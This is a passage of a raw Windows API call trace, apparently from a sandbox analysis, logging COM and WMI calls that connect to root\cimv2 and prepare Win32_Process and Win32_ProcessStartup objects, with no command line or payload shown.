ppvObject=0x1bb7e5c0*=0x0) returned 0x80004002 [0151.738] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.741] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9e0 | out: ppv=0x1bb7d9e0*=0x1bc58240) returned 0x0 [0151.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc58240, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7da28 | out: ppvObject=0x1bb7da28*=0x0) returned 0x80004002 [0151.741] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bc58240, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9d8 | out: ppvObject=0x1bb7d9d8*=0x1bc94c30) returned 0x0 [0151.741] WbemDefPath:IUnknown:Release (This=0x1bc58240) returned 0x0 [0151.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7e8 | out: ppvObject=0x1bb7d7e8*=0x1bc94c30) returned 0x0 [0151.741] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d890 | out: ppvObject=0x1bb7d890*=0x0) returned 0x80004002 [0151.742] WbemDefPath:IUnknown:AddRef (This=0x1bc94c30) returned 0x3 [0151.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cf38 | out: ppvObject=0x1bb7cf38*=0x0) returned 0x80004002 [0151.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cec0 | out: ppvObject=0x1bb7cec0*=0x0) returned 0x80004002 [0151.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ceb0 | out: ppvObject=0x1bb7ceb0*=0x1bc58260) returned 0x0 [0151.742] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bc58260, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ced8 | out: pCid=0x1bb7ced8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.742] WbemDefPath:IUnknown:Release (This=0x1bc58260) returned 0x3 [0151.742] CoGetContextToken (in: pToken=0x1bb7cf60 | out: pToken=0x1bb7cf60) returned 0x0 [0151.742] CoGetContextToken (in: pToken=0x1bb7d3e0 | out: pToken=0x1bb7d3e0) returned 0x0 [0151.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d4a0 | out: ppvObject=0x1bb7d4a0*=0x0) returned 0x80004002 [0151.742] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x2 [0151.742] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x1 [0151.742] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0151.742] CoGetContextToken (in: pToken=0x1bb7e100 | out: pToken=0x1bb7e100) returned 0x0 [0151.742] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94c30, riid=0x1bb7e260*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e230 | out: ppvObject=0x1bb7e230*=0x1bc94c30) returned 0x0 [0151.742] WbemDefPath:IUnknown:AddRef (This=0x1bc94c30) returned 0x3 [0151.742] WbemDefPath:IUnknown:Release (This=0x1bc94c30) returned 0x2 [0151.742] WbemDefPath:IWbemPath:SetText (This=0x1bc94c30, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\cimv2:Win32_ProcessStartup") returned 0x0 [0151.743] IWbemClassObject:Get (in: This=0x1bb93ad0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e610*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27faac8*=0, plFlavor=0x27faacc*=0 | out: pVal=0x1bb7e610*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27faac8*=19, plFlavor=0x27faacc*=0) returned 0x0 [0151.743] IWbemClassObject:Get (in: This=0x1bb93ad0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e600*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27faac8*=19, plFlavor=0x27faacc*=0 | out: pVal=0x1bb7e600*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x27faac8*=19, plFlavor=0x27faacc*=0) returned 0x0 [0151.743] IWbemClassObject:Put (This=0x1bb93ad0, wszName="CreateFlags", lFlags=0, pVal=0x1bb7e650*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x8, varVal2=0x0), Type=0) returned 0x0 [0151.743] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94f30, puCount=0x1bb7e5e0 | out: puCount=0x1bb7e5e0*=0x0) returned 0x0 [0151.743] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0151.743] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0151.743] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.743] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e4f8 | out: ppv=0x1bb7e4f8*=0x1a943398) returned 0x0 [0151.743] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e4e8 | out: pAptType=0x1bb7e4e8*=1) returned 0x0 [0151.743] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e4f0 | out: ppvObject=0x1bb7e4f0*=0x0) returned 0x80004002 [0151.743] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.746] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d910 | out: ppv=0x1bb7d910*=0x1a9ecbf0) returned 0x0 [0151.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1a9ecbf0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d958 | out: ppvObject=0x1bb7d958*=0x0) returned 0x80004002 [0151.746] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1a9ecbf0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d908 | out: ppvObject=0x1bb7d908*=0x1bc94b70) returned 0x0 [0151.746] WbemDefPath:IUnknown:Release (This=0x1a9ecbf0) returned 0x0 [0151.746] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d718 | out: ppvObject=0x1bb7d718*=0x1bc94b70) returned 0x0 [0151.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d7c0 | out: ppvObject=0x1bb7d7c0*=0x0) returned 0x80004002 [0151.747] WbemDefPath:IUnknown:AddRef (This=0x1bc94b70) returned 0x3 [0151.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce68 | out: ppvObject=0x1bb7ce68*=0x0) returned 0x80004002 [0151.747] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cdf0 | out: ppvObject=0x1bb7cdf0*=0x0) returned 0x80004002 [0151.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cde0 | out: ppvObject=0x1bb7cde0*=0x1a9ecad0) returned 0x0 [0151.748] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1a9ecad0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce08 | out: pCid=0x1bb7ce08*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0151.748] WbemDefPath:IUnknown:Release (This=0x1a9ecad0) returned 0x3 [0151.748] CoGetContextToken (in: pToken=0x1bb7ce90 | out: pToken=0x1bb7ce90) returned 0x0 [0151.748] CoGetContextToken (in: pToken=0x1bb7d310 | out: pToken=0x1bb7d310) returned 0x0 [0151.748] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d3d0 | out: ppvObject=0x1bb7d3d0*=0x0) returned 0x80004002 [0151.748] WbemDefPath:IUnknown:Release (This=0x1bc94b70) returned 0x2 [0151.748] WbemDefPath:IUnknown:Release (This=0x1bc94b70) returned 0x1 [0151.749] CoGetContextToken (in: pToken=0x1bb7e130 | out: pToken=0x1bb7e130) returned 0x0 [0151.749] CoGetContextToken (in: pToken=0x1bb7e030 | out: pToken=0x1bb7e030) returned 0x0 [0151.749] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc94b70, riid=0x1bb7e190*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e160 | out: ppvObject=0x1bb7e160*=0x1bc94b70) returned 0x0 [0151.749] WbemDefPath:IUnknown:AddRef (This=0x1bc94b70) returned 0x3 [0151.749] WbemDefPath:IUnknown:Release (This=0x1bc94b70) returned 0x2 [0151.749] WbemDefPath:IWbemPath:SetText (This=0x1bc94b70, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0151.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0151.749] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0151.750] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.750] CoGetObjectContext (in: riid=0x2701470*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0151.750] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0151.750] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x2701450*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0151.750] IUnknown:Release (This=0x1a943398) returned 0x1 [0151.751] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7db30 | out: ppv=0x1bb7db30*=0x1a9eca50) returned 0x0 [0151.752] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9eca50, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db78 | out: ppvObject=0x1bb7db78*=0x0) returned 0x80004002 [0151.752] WbemLocator:IClassFactory:CreateInstance (in: This=0x1a9eca50, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x1a9ec9b0) returned 0x0 [0151.752] WbemLocator:IUnknown:Release (This=0x1a9eca50) returned 0x0 [0151.752] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec9b0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d938 | out: ppvObject=0x1bb7d938*=0x1a9ec9b0) returned 0x0 [0151.752] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec9b0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d9e0 | out: ppvObject=0x1bb7d9e0*=0x0) returned 0x80004002 [0151.753] WbemLocator:IUnknown:AddRef (This=0x1a9ec9b0) returned 0x3 [0151.753] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec9b0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d088 | out: ppvObject=0x1bb7d088*=0x0) returned 0x80004002 [0151.753] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec9b0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7d010 | out: ppvObject=0x1bb7d010*=0x0) returned 0x80004002 [0151.753] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec9b0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d000 | out: ppvObject=0x1bb7d000*=0x0) returned 0x80004002 [0151.753] CoGetContextToken (in: pToken=0x1bb7d0b0 | out: pToken=0x1bb7d0b0) returned 0x0 [0151.754] CoGetContextToken (in: pToken=0x1bb7d530 | out: pToken=0x1bb7d530) returned 0x0 [0151.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec9b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5f0 | out: ppvObject=0x1bb7d5f0*=0x0) returned 0x80004002 [0151.754] WbemLocator:IUnknown:Release (This=0x1a9ec9b0) returned 0x2 [0151.754] WbemLocator:IUnknown:Release (This=0x1a9ec9b0) returned 0x1 [0151.754] CoGetContextToken (in: pToken=0x1bb7e0e0 | out: pToken=0x1bb7e0e0) returned 0x0 [0151.754] CoGetContextToken (in: pToken=0x1bb7dfe0 | out: pToken=0x1bb7dfe0) returned 0x0 [0151.754] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9ec9b0, riid=0x1bb7e140*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1bb7e110 | out: ppvObject=0x1bb7e110*=0x1a9ec9b0) returned 0x0 [0151.754] WbemLocator:IUnknown:AddRef (This=0x1a9ec9b0) returned 0x3 [0151.754] WbemLocator:IUnknown:Release (This=0x1a9ec9b0) returned 0x2 [0151.755] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e510 | out: puCount=0x1bb7e510*=0x2) returned 0x0 [0151.755] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=8, puBuffLength=0x1bb7e508*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e508*=0xf, pszText=0x0) returned 0x0 [0151.755] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=8, puBuffLength=0x1bb7e508*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e508*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.755] CoCreateInstance (in: rclsid=0x7fef422b060*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef422b0c0*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1bb7e180 | out: ppv=0x1bb7e180*=0x1a9ec9d0) returned 0x0 [0151.755] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1a9ec9d0, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1bb7e3a8 | out: ppNamespace=0x1bb7e3a8*=0x1a9e20b0) returned 0x0 [0151.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e20b0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dff8 | out: ppvObject=0x1bb7dff8*=0x1aa02020) returned 0x0 [0151.862] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1aa02020, pProxy=0x1a9e20b0, pAuthnSvc=0x1bb7e0c0, pAuthzSvc=0x1bb7e040, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044, pImpLevel=0x1bb7e04c, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048 | out: pAuthnSvc=0x1bb7e0c0*=0xa, pAuthzSvc=0x1bb7e040*=0x0, pServerPrincName=0x1bb7e070, pAuthnLevel=0x1bb7e044*=0x6, pImpLevel=0x1bb7e04c*=0x2, pAuthInfo=0x1bb7e078, pCapabilites=0x1bb7e048*=0x1) returned 0x0 [0151.862] WbemLocator:IUnknown:Release (This=0x1aa02020) returned 0x1 [0151.862] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e20b0, riid=0x7fef422aed0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7df90 | out: ppvObject=0x1bb7df90*=0x1aa02060) returned 0x0 [0151.863] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e20b0, riid=0x7fef422aee0*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dfa0 | out: ppvObject=0x1bb7dfa0*=0x1aa02020) returned 0x0 [0151.863] WbemLocator:IClientSecurity:SetBlanket (This=0x1aa02020, pProxy=0x1a9e20b0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0151.863] WbemLocator:IUnknown:Release (This=0x1aa02020) returned 0x2 [0151.863] WbemLocator:IUnknown:Release (This=0x1aa02060) returned 0x1 [0151.863] CoTaskMemFree (pv=0x1a9eff30) [0151.863] WbemLocator:IUnknown:AddRef (This=0x1a9e20b0) returned 0x2 [0151.863] WbemLocator:IUnknown:Release (This=0x1a9ec9d0) returned 0x0 [0151.864] CoGetContextToken (in: pToken=0x1bb7d200 | out: pToken=0x1bb7d200) returned 0x0 [0151.864] CoGetContextToken (in: pToken=0x1bb7d680 | out: pToken=0x1bb7d680) returned 0x0 [0151.864] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e20b0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d600 | out: ppvObject=0x1bb7d600*=0x1aa02030) returned 0x0 [0151.864] WbemLocator:IRpcOptions:Query (in: This=0x1aa02030, pPrx=0x1a9ec930, dwProperty=2, pdwValue=0x1bb7d730 | out: pdwValue=0x1bb7d730) returned 0x80004002 [0151.864] WbemLocator:IUnknown:Release (This=0x1aa02030) returned 0x2 [0151.864] CoGetContextToken (in: pToken=0x1bb7dd50 | out: pToken=0x1bb7dd50) returned 0x0 [0151.864] CoGetContextToken (in: pToken=0x1bb7dc50 | out: pToken=0x1bb7dc50) returned 0x0 [0151.864] WbemLocator:IUnknown:QueryInterface (in: This=0x1a9e20b0, riid=0x1bb7ddb0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1bb7dbd0 | out: ppvObject=0x1bb7dbd0*=0x1a9e20b0) returned 0x0 [0151.864] WbemLocator:IUnknown:Release (This=0x1a9e20b0) returned 0x2 [0151.865] SysStringLen (param_1=0x0) returned 0x0 [0151.865] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc94b70, puCount=0x1bb7e550 | out: puCount=0x1bb7e550*=0x2) returned 0x0 [0151.865] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e548*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e548*=0xf, pszText=0x0) returned 0x0 [0151.865] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94b70, lFlags=4, puBuffLength=0x1bb7e548*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e548*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0151.865] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94f30, lFlags=2, puBuffLength=0x1bb7e558*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e558*=0xe, pszText=0x0) returned 0x0 [0151.865] WbemDefPath:IWbemPath:GetText (in: This=0x1bc94f30, lFlags=2, puBuffLength=0x1bb7e558*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e558*=0xe, pszText="Win32_Process") returned 0x0 [0151.865] IWbemServices:GetObject (in: This=0x1a9e20b0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1bb7e3a0*=0x0, ppCallResult=0x0 | out: ppObject=0x1bb7e3a0*=0x1bb93e40, ppCallResult=0x0) returned 0x0 [0151.868] IWbemClassObject:Get (in: This=0x1bb93e40, wszName="__PATH", lFlags=0, pVal=0x1bb7e470*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), 